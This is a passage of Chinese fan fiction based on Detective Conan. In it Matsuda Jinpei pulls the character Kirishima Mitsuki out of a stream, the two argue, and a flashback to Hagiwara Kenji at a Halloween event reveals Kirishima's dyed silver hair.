偏偏同样从头湿到尾的松田阵平黑着一张脸,还恶人先告状,咬牙切齿地骂他:“不会游泳你还跳,等着送命吗!” 【差不多能体会到班长那时候的心情了,这自作主张的混蛋,就应该把他送回警校重新给教官训练一遍】 班长,什么班长?松田阵平的心声怎么突然扯到伊达了? 被松田阵平这么一打断,雾岛光希反而没那么生气了。他古怪地看着满脸愤怒的松田阵平,过了几秒,疑惑地问道:“我是在水里思考人生,又没让您跳下来。” “嚯~”松田阵平眯起眼,“那我把你按回去你要不要啊。” 雾岛光希盯着面前的松田阵平,沉默几秒后: “不可能。” 松田阵平:“什么不可能。” 雾岛光希懒得解释那么多。 他蹚着水从松田阵平身边走过,湿润的唇瓣张合。 “……” 松田阵平没听清,站在原地,没好气地回过头去看他:“什么?” 雾岛光希面无表情,脚步没有丝毫停留:“我说谢谢你。” 松田阵平注视着他的身形。 【作为警察没点干劲,话也少得可以,难得让他说两句,十句里有八句都是不爱听的】 从松田阵平这个角度,只能看到雾岛光希被打湿的外套勾勒出来的背影,以及他那轮廓优越,却因为忍受不了再重复第三遍“谢谢”这两个字而略显不满的侧脸。 雾岛光希这人本身就长得漂亮,他的长睫因脚下的溪水而微微湿润,配上那副带了点屈辱的神态,倒是别有一番风味。 可惜松田阵平又不是高桥一那种变态,没这方面的兴趣。 松田阵平只是将目光从他脸上移开,不动声色地瞥了眼雾岛光希背后,浮在水面上的发丝。 ——那个木乃伊打扮的是小雾岛。 ——你怎么知道? 万圣节活动的时候,吸血鬼打扮的萩原研二曾经撑着脸,盯着角落里默默无闻的木乃伊,忽的笑出声。 那时他们才刚毕业,萩原研二刚刚评上爆/炸物处理班的队长,前途一片光明。 听到狼人打扮的松田阵平的话,萩原研二神秘地眨下眼,在木乃伊看过来的时候靠近松田阵平的耳边。 ——因为是直觉。 萩原研二的笑容肆意,在松田阵平的面前,毫不避讳地说。 ——小阵平,我们公平竞争怎么样? 松田阵平注视着着荡漾着涟漪的水面。 【哪有什么直觉,明明是那家伙因为总是能坦荡地看着他】 染剂因为遇水化开了一些,漂浮在水面上的发梢,浮现出初雪般的银色。